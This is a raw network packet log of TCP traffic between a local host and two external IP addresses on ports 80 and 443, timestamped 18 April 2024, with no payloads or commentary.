Apr 18, 2024 23:40:12.704075098 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:12.705269098 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:12.705524921 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:12.904246092 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.151937008 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.152118921 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.152137041 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.152154922 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.152173042 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.152215004 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.152225018 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.152240992 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.152260065 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.152280092 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.152285099 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.152285099 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.152299881 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.152318001 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.152318001 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.152321100 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.152338982 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.152355909 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.152374029 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.354248047 CEST	49747	443	192.168.2.4	108.177.122.91
Apr 18, 2024 23:40:13.354321957 CEST	443	49747	108.177.122.91	192.168.2.4
Apr 18, 2024 23:40:13.354403019 CEST	49747	443	192.168.2.4	108.177.122.91
Apr 18, 2024 23:40:13.355000019 CEST	49747	443	192.168.2.4	108.177.122.91
Apr 18, 2024 23:40:13.355031967 CEST	443	49747	108.177.122.91	192.168.2.4
Apr 18, 2024 23:40:13.399506092 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.399528027 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.399544954 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.399565935 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.399584055 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.399589062 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.399589062 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.399589062 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.399609089 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.399626970 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.399645090 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.399657011 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.399657011 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.399657965 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.399687052 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.399760962 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.399786949 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.399804115 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.399807930 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.399820089 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.399833918 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.399838924 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.399851084 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.399858952 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.399877071 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.399895906 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.399897099 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.399897099 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.399914980 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.399921894 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.399941921 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.399957895 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.399971008 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.399971008 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.399977922 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.399995089 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.400017977 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.577554941 CEST	443	49747	108.177.122.91	192.168.2.4
Apr 18, 2024 23:40:13.578856945 CEST	49747	443	192.168.2.4	108.177.122.91
Apr 18, 2024 23:40:13.578896999 CEST	443	49747	108.177.122.91	192.168.2.4
Apr 18, 2024 23:40:13.579777956 CEST	443	49747	108.177.122.91	192.168.2.4
Apr 18, 2024 23:40:13.579847097 CEST	49747	443	192.168.2.4	108.177.122.91
Apr 18, 2024 23:40:13.580813885 CEST	443	49747	108.177.122.91	192.168.2.4
Apr 18, 2024 23:40:13.580879927 CEST	49747	443	192.168.2.4	108.177.122.91
Apr 18, 2024 23:40:13.583225012 CEST	49747	443	192.168.2.4	108.177.122.91
Apr 18, 2024 23:40:13.583323002 CEST	443	49747	108.177.122.91	192.168.2.4
Apr 18, 2024 23:40:13.584650040 CEST	49747	443	192.168.2.4	108.177.122.91
Apr 18, 2024 23:40:13.584666967 CEST	443	49747	108.177.122.91	192.168.2.4
Apr 18, 2024 23:40:13.633557081 CEST	49747	443	192.168.2.4	108.177.122.91
Apr 18, 2024 23:40:13.646960974 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.646979094 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.646990061 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.647002935 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.647015095 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.647027969 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.647041082 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.647052050 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.647054911 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.647106886 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.647106886 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.647106886 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.647146940 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.647160053 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.647171021 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.647181988 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.647195101 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.647202015 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.647207975 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.647219896 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.647233963 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.647245884 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.647250891 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.647258997 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.647270918 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.647278070 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.647284031 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.647299051 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.647331953 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.647357941 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.647370100 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.647382021 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.647393942 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.647403955 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.647414923 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.647418022 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.647444010 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.647444963 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.647478104 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.647481918 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.647495031 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.647507906 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.647520065 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.647526979 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.647531986 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.647543907 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.647552967 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.647552967 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.647559881 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.647574902 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.647578955 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.647592068 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.647603989 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.647612095 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.647615910 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.647629023 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.647630930 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.647640944 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.647653103 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.647654057 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.647665977 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.647669077 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.647686005 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.647720098 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.811933994 CEST	443	49747	108.177.122.91	192.168.2.4
Apr 18, 2024 23:40:13.811989069 CEST	443	49747	108.177.122.91	192.168.2.4
Apr 18, 2024 23:40:13.812114000 CEST	49747	443	192.168.2.4	108.177.122.91
Apr 18, 2024 23:40:13.812139988 CEST	443	49747	108.177.122.91	192.168.2.4
Apr 18, 2024 23:40:13.812232018 CEST	443	49747	108.177.122.91	192.168.2.4
Apr 18, 2024 23:40:13.812388897 CEST	49747	443	192.168.2.4	108.177.122.91
Apr 18, 2024 23:40:13.818984985 CEST	49747	443	192.168.2.4	108.177.122.91
Apr 18, 2024 23:40:13.819017887 CEST	443	49747	108.177.122.91	192.168.2.4
Apr 18, 2024 23:40:13.894450903 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.894475937 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.894546032 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.894588947 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.894602060 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.894614935 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.894627094 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.894640923 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.894654036 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.894673109 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.894673109 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.894716978 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.894766092 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.894778967 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.894790888 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.894804001 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.894818068 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.894823074 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.894836903 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.894840002 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.894865036 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.894893885 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.894925117 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.894939899 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.894951105 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.894964933 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.894973040 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.895010948 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.895010948 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.895055056 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.895067930 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.895078897 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.895090103 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.895097017 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.895097017 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.895102978 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.895117044 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.895117044 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.895159960 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.895206928 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.895225048 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.895239115 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.895250082 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.895267963 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.895281076 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.895292997 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.895293951 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.895307064 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.895319939 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.895320892 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.895339012 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.895339966 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.895351887 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.895359039 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.895365953 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.895379066 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.895391941 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.895395041 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.895404100 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.895417929 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.895421982 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.895421982 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.895431042 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.895443916 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.895446062 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.895457983 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.895461082 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.895471096 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.895484924 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.895498037 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.895500898 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.895510912 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.895524025 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.895541906 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.895541906 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.895541906 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.895555019 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.895566940 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.895569086 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.895582914 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.895586967 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.895596981 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.895610094 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.895618916 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.895622969 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.895638943 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.895653009 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.895657063 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.895657063 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.895665884 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.895678997 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.895679951 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.895694971 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.895708084 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.895709038 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.895720959 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.895728111 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.895735025 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.895745993 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.895756960 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.895776033 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.895777941 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.895788908 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.895802021 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.895814896 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.895823002 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.895823002 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.895823002 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.895828009 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.895842075 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.895848989 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.895853996 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.895867109 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.895869970 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.895881891 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.895888090 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.895898104 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.895910978 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.895910978 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.895931005 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.895931005 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.895944118 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.895950079 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.895956993 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.895971060 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.895972967 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.895996094 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.896025896 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.896029949 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:13.896042109 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:13.896090031 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.141869068 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.141887903 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.141899109 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.141957998 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.141990900 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.142000914 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.142014980 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.142031908 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.142044067 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.142055035 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.142059088 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.142069101 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.142085075 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.142086029 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.142102003 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.142117977 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.142199993 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.142213106 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.142225027 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.142236948 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.142245054 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.142251968 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.142252922 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.142263889 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.142275095 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.142286062 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.142287016 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.142298937 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.142304897 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.142312050 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.142319918 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.142323971 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.142335892 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.142335892 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.142349005 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.142360926 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.142366886 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.142374992 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.142386913 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.142394066 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.142399073 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.142410040 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.142410994 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.142427921 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.142427921 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.142441988 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.142452955 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.142452955 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.142465115 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.142476082 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.142481089 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.142488003 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.142499924 CEST	80	49746	193.233.132.167	192.168.2.4
